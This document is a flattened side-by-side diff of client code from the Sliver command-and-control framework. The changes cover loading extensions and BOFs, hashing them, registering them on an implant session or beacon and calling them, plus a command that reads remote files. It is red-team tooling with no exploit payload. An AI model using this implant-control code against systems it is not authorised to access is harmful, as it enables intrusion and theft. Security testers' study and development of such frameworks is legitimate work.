"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
) )
// ExtensionMatch holds the details of a matched extension // ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
type ExtensionMatch struct {
CommandName string
Hash string
BinPath string
}
// FindExtensionMatches searches through loaded extensions for matching hashes
// Returns a map of hash to ExtensionMatch (match will be nil if hash wasn't found)
func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
results := make(map[string]*ExtensionMatch)
pathCache := make(map[string]*ExtensionMatch)
// Initialize results map with all target hashes
for _, hash := range targetHashes {
results[hash] = nil
}
// Search for matches
for _, extCmd := range loadedExtensions {
if extCmd == nil || len(extCmd.Files) == 0 {
continue
}
for _, file := range extCmd.Files {
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
// Check cache first
var match *ExtensionMatch
if cached, exists := pathCache[fullPath]; exists {
match = cached
} else {
// Calculate hash if not cached
fileData, err := os.ReadFile(fullPath)
if err != nil {
continue
}
hashBytes := sha256.Sum256(fileData)
fileHash := hex.EncodeToString(hashBytes[:])
match = &ExtensionMatch{
CommandName: extCmd.CommandName,
Hash: fileHash,
BinPath: fullPath,
}
pathCache[fullPath] = match
}
if slices.Contains(targetHashes, match.Hash) {
results[match.Hash] = match
}
}
}
return results
}
// PrintExtensionMatches prints the extension matches in a formatted table
func PrintExtensionMatches(matches map[string]*ExtensionMatch, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Command Name",
"Sha256 Hash",
"Bin Path",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
for hash, match := range matches {
if match != nil {
tw.AppendRow(table.Row{
match.CommandName,
hash,
match.BinPath,
})
} else {
tw.AppendRow(table.Row{
"",
hash,
"",
})
}
}
con.Println(tw.Render())
}
// ExtensionsListCmd - List all extension loaded on the active session/beacon.
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive() session := con.ActiveTarget.GetSessionInteractive()
if session == nil { if session == nil {
return return
@@ -144,12 +46,10 @@ func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []str
con.PrintErrorf("%s\n", extList.Response.Err) con.PrintErrorf("%s\n", extList.Response.Err)
return return
} }
if len(extList.Names) > 0 {
if len(extList.Names) == 0 { con.PrintInfof("Loaded extensions:\n")
return for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
} }
con.PrintInfof("Loaded extensions:\n\n")
matches := FindExtensionMatches(extList.Names)
PrintExtensionMatches(matches, con)
} }
+83 -229
View File
@@ -21,8 +21,6 @@ package extensions
import ( import (
"bytes" "bytes"
"context" "context"
"crypto/sha256"
"encoding/hex"
"encoding/json" "encoding/json"
"errors" "errors"
"fmt" "fmt"
@@ -34,26 +32,26 @@ import (
"strings" "strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/packages"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
appConsole "github.com/reeflective/console" appConsole "github.com/reeflective/console"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/spf13/pflag" "github.com/spf13/pflag"
"google.golang.org/protobuf/proto" "google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
) )
const ( const (
defaultTimeout = 60 defaultTimeout = 60
// ManifestFileName - Extension manifest file name. // ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json" ManifestFileName = "extension.json"
) )
@@ -80,7 +78,6 @@ type ExtensionManifest_ struct {
type ExtensionManifest struct { type ExtensionManifest struct {
Name string `json:"name"` Name string `json:"name"`
PackageName string `json:"package_name"`
Version string `json:"version"` Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"` ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"` OriginalAuthor string `json:"original_author"`
@@ -88,21 +85,17 @@ type ExtensionManifest struct {
ExtCommand []*ExtCommand `json:"commands"` ExtCommand []*ExtCommand `json:"commands"`
RootPath string `json:"-"` RootPath string `json:"-"`
ArmoryName string `json:"-"`
ArmoryPK string `json:"-"`
} }
type ExtCommand struct { type ExtCommand struct {
CommandName string `json:"command_name"` CommandName string `json:"command_name"`
Help string `json:"help"` Help string `json:"help"`
LongHelp string `json:"long_help"` LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"` Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"` Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"` Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"` DependsOn string `json:"depends_on"`
Init string `json:"init"`
Schema *packages.OutputSchema `json:"schema"`
Manifest *ExtensionManifest Manifest *ExtensionManifest
} }
@@ -116,24 +109,17 @@ type extensionFile struct {
} }
type extensionArgument struct { type extensionArgument struct {
Name string `json:"name"` Name string `json:"name"`
Type string `json:"type"` Type string `json:"type"`
Desc string `json:"desc"` Desc string `json:"desc"`
Optional bool `json:"optional"` Optional bool `json:"optional"`
Default interface{} `json:"default,omitempty"`
} }
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) { func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
filePath := "" filePath := ""
for _, extFile := range e.Files { for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch { if targetOS == extFile.OS && targetArch == extFile.Arch {
if e.Manifest.RootPath != "" { filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
// Use RootPath for temporarily loaded extensions
filePath = path.Join(e.Manifest.RootPath, extFile.Path)
} else {
// Fall back to extensions dir for installed extensions
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
}
break break
} }
} }
@@ -148,26 +134,17 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
return filePath, nil return filePath, nil
} }
// ExtensionLoadCmd - Temporarily installs an extension from a local directory into the client. // ExtensionLoadCmd - Load extension command
// The extension must contain a valid manifest file. If commands from the extension func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
// already exist, the user will be prompted to overwrite them.
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
dirPath := args[0] dirPath := args[0]
// dirPath := ctx.Args.String("dir-path")
// Add directory check manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
fileInfo, err := os.Stat(dirPath)
if err != nil || !fileInfo.IsDir() {
con.PrintErrorf("Path is not a directory: %s\n", dirPath)
return
}
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil { if err != nil {
return return
} }
// do not add if the command already exists // do not add if the command already exists
sliverMenu := con.App.Menu("implant") sliverMenu := con.App.Menu("implant")
for _, extCmd := range manifest.ExtCommand { for _, extCmd := range manyfest.ExtCommand {
if CmdExists(extCmd.CommandName, sliverMenu.Command) { if CmdExists(extCmd.CommandName, sliverMenu.Command) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName) con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
confirm := false confirm := false
@@ -182,11 +159,7 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
} }
} }
// LoadExtensionManifest loads and parses an extension manifest file from the given path. // LoadExtensionManifest - Parse extension files
// It registers each command defined in the manifest into the loadedExtensions map
// and registers the complete manifest into loadedManifests. A single manifest may
// contain multiple extension commands. The manifest's RootPath is set to its containing
// directory. Returns the parsed manifest and any errors encountered.
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) { func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := os.ReadFile(manifestPath) data, err := os.ReadFile(manifestPath)
if err != nil { if err != nil {
@@ -208,7 +181,7 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest { func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
ret := &ExtensionManifest{ ret := &ExtensionManifest{
Name: old.CommandName, //treating old command name as the manifest name to avoid weird chars mostly Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
Version: old.Version, Version: old.Version,
ExtensionAuthor: old.ExtensionAuthor, ExtensionAuthor: old.ExtensionAuthor,
OriginalAuthor: old.OriginalAuthor, OriginalAuthor: old.OriginalAuthor,
@@ -224,7 +197,6 @@ func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
Entrypoint: old.Entrypoint, Entrypoint: old.Entrypoint,
Files: old.Files, Files: old.Files,
Arguments: old.Arguments, Arguments: old.Arguments,
Schema: nil,
}, },
}, },
} }
@@ -240,9 +212,7 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
err := json.Unmarshal(data, &extManifest) err := json.Unmarshal(data, &extManifest)
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
//maybe it's an old manifest //maybe it's an old manifest
if err != nil { log.Println(err)
log.Printf("extension load error: %s", err)
}
oldmanifest := &ExtensionManifest_{} oldmanifest := &ExtensionManifest_{}
err := json.Unmarshal(data, &oldmanifest) err := json.Unmarshal(data, &oldmanifest)
if err != nil { if err != nil {
@@ -252,13 +222,9 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
//yes, ok, lets jigger it to a new manifest //yes, ok, lets jigger it to a new manifest
extManifest = convertOldManifest(oldmanifest) extManifest = convertOldManifest(oldmanifest)
} }
//pass ref to manifest to each command and initialize output schema if applicable //pass ref to manifest to each command
for i := range extManifest.ExtCommand { for i := range extManifest.ExtCommand {
command := extManifest.ExtCommand[i] extManifest.ExtCommand[i].Manifest = extManifest
command.Manifest = extManifest
if command.Schema != nil {
command.Schema.IngestColumns()
}
} }
return extManifest, validManifest(extManifest) return extManifest, validManifest(extManifest)
} }
@@ -291,29 +257,19 @@ func validManifest(manifest *ExtensionManifest) error {
if extManifest.Help == "" { if extManifest.Help == "" {
return errors.New("missing `help` field in extension manifest") return errors.New("missing `help` field in extension manifest")
} }
if extManifest.Schema != nil {
if !packages.IsValidSchemaType(extManifest.Schema.Name) {
return fmt.Errorf("%s is not a valid schema type", extManifest.Schema.Name)
}
}
} }
return nil return nil
} }
// ExtensionRegisterCommand adds an extension command to the cobra command system. // ExtensionRegisterCommand - Register a new extension command
// It validates the extension's arguments, updates the loadedExtensions map, and func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) {
// creates a cobra.Command with proper usage text, help documentation, and argument
// handling. The command is added as a subcommand to the provided parent cobra.Command.
// Arguments are displayed in the help text as uppercase, with optional args in square
// brackets. The help text includes sections for command usage, description, and detailed
// argument specifications.
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) {
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil { if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
con.PrintErrorf(errInvalidArgs.Error()) con.PrintErrorf(errInvalidArgs.Error())
return return
} }
loadedExtensions[extCmd.CommandName] = extCmd loadedExtensions[extCmd.CommandName] = extCmd
//helpMsg := extCmd.Help
usage := strings.Builder{} usage := strings.Builder{}
usage.WriteString(extCmd.CommandName) usage.WriteString(extCmd.CommandName)
@@ -365,9 +321,9 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
// Command // Command
extensionCmd := &cobra.Command{ extensionCmd := &cobra.Command{
Use: usage.String(), Use: usage.String(), //extCmd.CommandName,
Short: extCmd.Help, //Short: helpMsg.String(), doesn't appear to be used?
Long: help.FormatHelpTmpl(longHelp.String()), Long: help.FormatHelpTmpl(longHelp.String()),
Run: func(cmd *cobra.Command, args []string) { Run: func(cmd *cobra.Command, args []string) {
runExtensionCmd(cmd, con, args) runExtensionCmd(cmd, con, args)
}, },
@@ -389,7 +345,7 @@ func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *conso
cmd.AddCommand(extensionCmd) cmd.AddCommand(extensionCmd)
} }
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverClient) error { func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) error {
var extensionList []string var extensionList []string
binPath, err := ext.getFileForTarget(goos, goarch) binPath, err := ext.getFileForTarget(goos, goarch)
if err != nil { if err != nil {
@@ -410,50 +366,27 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
} }
extensionList = extList.Names extensionList = extList.Names
} }
//extensionList contains all *implant* loaded extensions. Is a sha256 sum of the relevant file. depLoaded := false
//get the file hash to compare against implant extensions later
toberunfilepath, err := ext.getFileForTarget(goos, goarch)
if err != nil {
return err
}
//we need to check the dependent if it's a bof
if ext.DependsOn != "" {
//verify extension is in loaded list
if extension, found := loadedExtensions[ext.DependsOn]; found {
toberunfilepath, err = extension.getFileForTarget(goos, goarch)
if err != nil {
return err
}
} else {
// handle error
return fmt.Errorf("attempted to load non-existing extension: %s", ext.DependsOn)
}
}
//todo, maybe cache these values somewhere
toberunfiledata, err := os.ReadFile(toberunfilepath)
if err != nil {
return err
}
if len(toberunfiledata) == 0 {
//read an empty file, bail out
return errors.New("read empty extension file content")
}
bd := sha256.Sum256(toberunfiledata)
toberunhash := hex.EncodeToString(bd[:])
for _, extName := range extensionList { for _, extName := range extensionList {
//check if extension we are trying to run (ext.CommandName or ext.DependsOn, for bofs) is already loaded if !depLoaded {
if extName == toberunhash { if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
//exists on the other side, exit early depLoaded = true
}
}
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
return nil return nil
} }
} }
// Extension not found, let's load it // Extension not found, let's load it
// BOFs are not loaded by the DLL loader, but we need to load the loader (more load more good) if filepath.Ext(binPath) == ".o" {
if ext.DependsOn != "" { // BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
return loadDep(goos, goarch, ext.DependsOn, cmd, con) // Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
return errLoad
}
}
return nil
} }
binData, err := os.ReadFile(binPath) binData, err := os.ReadFile(binPath)
if err != nil { if err != nil {
@@ -465,45 +398,14 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
return nil return nil
} }
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error { func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
//set extension name to a hash of the data to avoid loading more than one instance
bd := sha256.Sum256(binData)
name := hex.EncodeToString(bd[:])
sess, beac := con.ActiveTarget.GetInteractive()
ctrl := make(chan bool)
//first time run of an extension will require some waiting depending on the size
if sess != nil {
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
con.SpinUntil(msg, ctrl)
}
//don't block if we are in beacon mode
if beac != nil && sess == nil {
go func() {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: name,
Data: binData,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Error registering extension: %s\n", err)
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
}
}()
return nil
}
//session mode (hopefully)
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{ registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: name, Name: ext.CommandName,
Data: binData, Data: binData,
OS: goos, OS: goos,
//Init: ext.Init, ?
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
}) })
ctrl <- true
<-ctrl
if err != nil { if err != nil {
return err return err
} }
@@ -513,7 +415,7 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
return nil return nil
} }
func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverClient) error { func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName] depExt, ok := loadedExtensions[depName]
if ok { if ok {
depBinPath, err := depExt.getFileForTarget(goos, goarch) depBinPath, err := depExt.getFileForTarget(goos, goarch)
@@ -529,7 +431,7 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con
return fmt.Errorf("missing dependency %s", depName) return fmt.Errorf("missing dependency %s", depName)
} }
func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var ( var (
err error err error
extensionArgs []byte extensionArgs []byte
@@ -585,11 +487,17 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
extName = ext.DependsOn extName = ext.DependsOn
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else { } else {
// Regular DLL - Just join the arguments with spaces // Regular DLL
if len(args) > 0 { // extArgs := strings.Join(args, " ")
//legacy case - single string arg
if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" {
extensionArgs = []byte(strings.Join(args, " ")) extensionArgs = []byte(strings.Join(args, " "))
} else { } else {
extensionArgs = []byte{} extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
if err != nil {
con.PrintErrorf("ext args error: %s\n", err)
return
}
} }
extName = ext.CommandName extName = ext.CommandName
entryPoint = ext.Entrypoint entryPoint = ext.Entrypoint
@@ -598,41 +506,8 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
ctrl := make(chan bool) ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", cmd.Name()) msg := fmt.Sprintf("Executing %s ...", cmd.Name())
con.SpinUntil(msg, ctrl) con.SpinUntil(msg, ctrl)
extdata, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("ext read file error: %s\n", err)
}
bd := sha256.Sum256(extdata)
name := hex.EncodeToString(bd[:])
if isBOF {
//if we are using a bof, we are actually calling the coffloader extension - so get the file from dep ref and use that shasum
if extension, found := loadedExtensions[ext.DependsOn]; found {
dep, err := extension.getFileForTarget(goos, goarch)
if err != nil {
con.PrintErrorf("could not get file for extension %s", ext.DependsOn)
return
}
depdata, err := os.ReadFile(dep)
if err != nil {
con.PrintErrorf("dep read file error: %s\n", err)
return
}
if len(depdata) == 0 {
con.PrintErrorf("read empty file: %s\n", dep)
return
}
bd = sha256.Sum256(depdata)
name = hex.EncodeToString(bd[:])
} else {
// handle error
con.PrintErrorf("attempted to load non-existing extension: %s", ext.DependsOn)
return
}
}
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{ callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: name, Name: extName,
Export: entryPoint, Export: entryPoint,
Args: extensionArgs, Args: extensionArgs,
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
@@ -651,38 +526,23 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
con.PrintErrorf("Failed to decode call ext response %s\n", err) con.PrintErrorf("Failed to decode call ext response %s\n", err)
return return
} }
PrintExtOutput(extName, ext.CommandName, ext.Schema, callExtResp, con) PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}) })
con.PrintAsyncResponse(callExtResp.Response) con.PrintAsyncResponse(callExtResp.Response)
} else { } else {
PrintExtOutput(extName, ext.CommandName, ext.Schema, callExtResp, con) PrintExtOutput(extName, ext.CommandName, callExtResp, con)
} }
} }
// PrintExtOutput - Print the ext execution output. // PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, outputSchema *packages.OutputSchema, callExtension *sliverpb.CallExtension, con *console.SliverClient) { func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName { if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName) con.PrintInfof("Successfully executed %s", extName)
} else { } else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName) con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
} }
if 0 < len(string(callExtension.Output)) { if 0 < len(string(callExtension.Output)) {
if outputSchema == nil { con.PrintInfof("Got output:\n%s", callExtension.Output)
con.PrintInfof("Got output:\n%s", callExtension.Output)
} else {
// Get output schema
schema := packages.GetNewPackageOutput(outputSchema.Name)
if schema != nil {
ingestErr := schema.IngestData(callExtension.Output, outputSchema.Columns(), outputSchema.GroupBy)
if ingestErr != nil {
con.PrintInfof("Got output:\n%s", callExtension.Output)
} else {
con.Printf("%s\n", schema.CreateTable())
}
} else {
con.PrintInfof("Got output:\n%s", callExtension.Output)
}
}
} }
if callExtension.Response != nil && callExtension.Response.Err != "" { if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf(callExtension.Response.Err) con.PrintErrorf(callExtension.Response.Err)
@@ -690,7 +550,7 @@ func PrintExtOutput(extName string, commandName string, outputSchema *packages.O
} }
} }
func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) { func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
var err error var err error
argsBuffer := core.BOFArgsBuffer{ argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer), Buffer: new(bytes.Buffer),
@@ -699,12 +559,6 @@ func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]b
// Parse BOF arguments from grumble // Parse BOF arguments from grumble
missingRequiredArgs := make([]string, 0) missingRequiredArgs := make([]string, 0)
// If we have an extension that expects a single string, but more than one has been parsed, combine them
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") && len(args) > 0 {
// The loop below will only read the first element of args because ext.Arguments is 1
args[0] = strings.Join(args, " ")
}
for _, arg := range ext.Arguments { for _, arg := range ext.Arguments {
// If we don't have any positional words left to consume, // If we don't have any positional words left to consume,
// add the remaining required extension arguments in the // add the remaining required extension arguments in the
@@ -797,7 +651,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
if err != nil { if err != nil {
return nil, err return nil, err
} }
parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext) parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@@ -812,7 +666,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
return extensionArgs, nil return extensionArgs, nil
} }
// CmdExists - checks if a command exists. // CmdExists - checks if a command exists
func CmdExists(name string, cmd *cobra.Command) bool { func CmdExists(name string, cmd *cobra.Command) bool {
for _, c := range cmd.Commands() { for _, c := range cmd.Commands() {
if name == c.Name() { if name == c.Name() {
+10 -33
View File
@@ -23,17 +23,17 @@ import (
"fmt" "fmt"
"os" "os"
"path/filepath" "path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
) )
// ExtensionsRemoveCmd - Remove an extension. // ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0] name := args[0]
if name == "" { if name == "" {
con.PrintErrorf("Extension name is required\n") con.PrintErrorf("Extension name is required\n")
@@ -64,8 +64,8 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []s
} }
} }
// RemoveExtensionByCommandName - Remove an extension by command name. // RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverClient) error { func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" { if commandName == "" {
return errors.New("command name is required") return errors.New("command name is required")
} }
@@ -82,40 +82,17 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverClient)
} }
// RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found // RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found
func RemoveExtensionByManifestName(manifestName string, con *console.SliverClient) (bool, error) { func RemoveExtensionByManifestName(manifestName string, con *console.SliverConsoleClient) (bool, error) {
if manifestName == "" { if manifestName == "" {
return false, errors.New("command name is required") return false, errors.New("command name is required")
} }
if man, ok := loadedManifests[manifestName]; ok { if man, ok := loadedManifests[manifestName]; ok {
// Found the manifest //foudn the manifest
var extPath string //delet it
if man.RootPath != "" { extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
// Use RootPath for temporarily loaded extensions
extPath = man.RootPath
} else {
// Fall back to extensions dir for installed extensions
extPath = filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
}
if _, err := os.Stat(extPath); os.IsNotExist(err) { if _, err := os.Stat(extPath); os.IsNotExist(err) {
return true, nil return true, nil
} }
// If path is outside extensions directory, prompt for confirmation
if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
survey.AskOne(prompt, &confirm)
if !confirm {
// Skip the forceRemoveAll but continue with the rest
delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand {
delete(loadedExtensions, cmd.CommandName)
}
return true, nil
}
}
forceRemoveAll(extPath) forceRemoveAll(extPath)
delete(loadedManifests, manifestName) delete(loadedManifests, manifestName)
for _, cmd := range man.ExtCommand { for _, cmd := range man.ExtCommand {
+9 -12
View File
@@ -23,22 +23,22 @@ import (
"encoding/hex" "encoding/hex"
"fmt" "fmt"
"os" "os"
"strings"
"github.com/alecthomas/chroma/formatters" "github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers" "github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles" "github.com/alecthomas/chroma/styles"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders" "github.com/bishopfox/sliver/util/encoders"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// CatCmd - Display the contents of a remote file. // CatCmd - Display the contents of a remote file
func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -73,16 +73,16 @@ func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Failed to decode response %s\n", err) con.PrintErrorf("Failed to decode response %s\n", err)
return return
} }
PrintCat(filePath, download, cmd, con) PrintCat(download, cmd, con)
}) })
con.PrintAsyncResponse(download.Response) con.PrintAsyncResponse(download.Response)
} else { } else {
PrintCat(filePath, download, cmd, con) PrintCat(download, cmd, con)
} }
} }
// PrintCat - Print the download to stdout. // PrintCat - Print the download to stdout
func PrintCat(originalFileName string, download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) { func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) {
var ( var (
lootDownload bool = true lootDownload bool = true
err error err error
@@ -109,9 +109,6 @@ func PrintCat(originalFileName string, download *sliverpb.Download, cmd *cobra.C
con.Printf("\n") con.Printf("\n")
} }
} }
if !strings.Contains(download.Path, originalFileName) {
con.PrintInfof("Supplied pattern %s matched file %s\n\n", originalFileName, download.Path)
}
if color, _ := cmd.Flags().GetBool("colorize-output"); color { if color, _ := cmd.Flags().GetBool("colorize-output"); color {
if err = colorize(download); err != nil { if err = colorize(download); err != nil {
con.Println(string(download.Data)) con.Println(string(download.Data))
+6 -4
View File
@@ -21,15 +21,17 @@ package filesystem
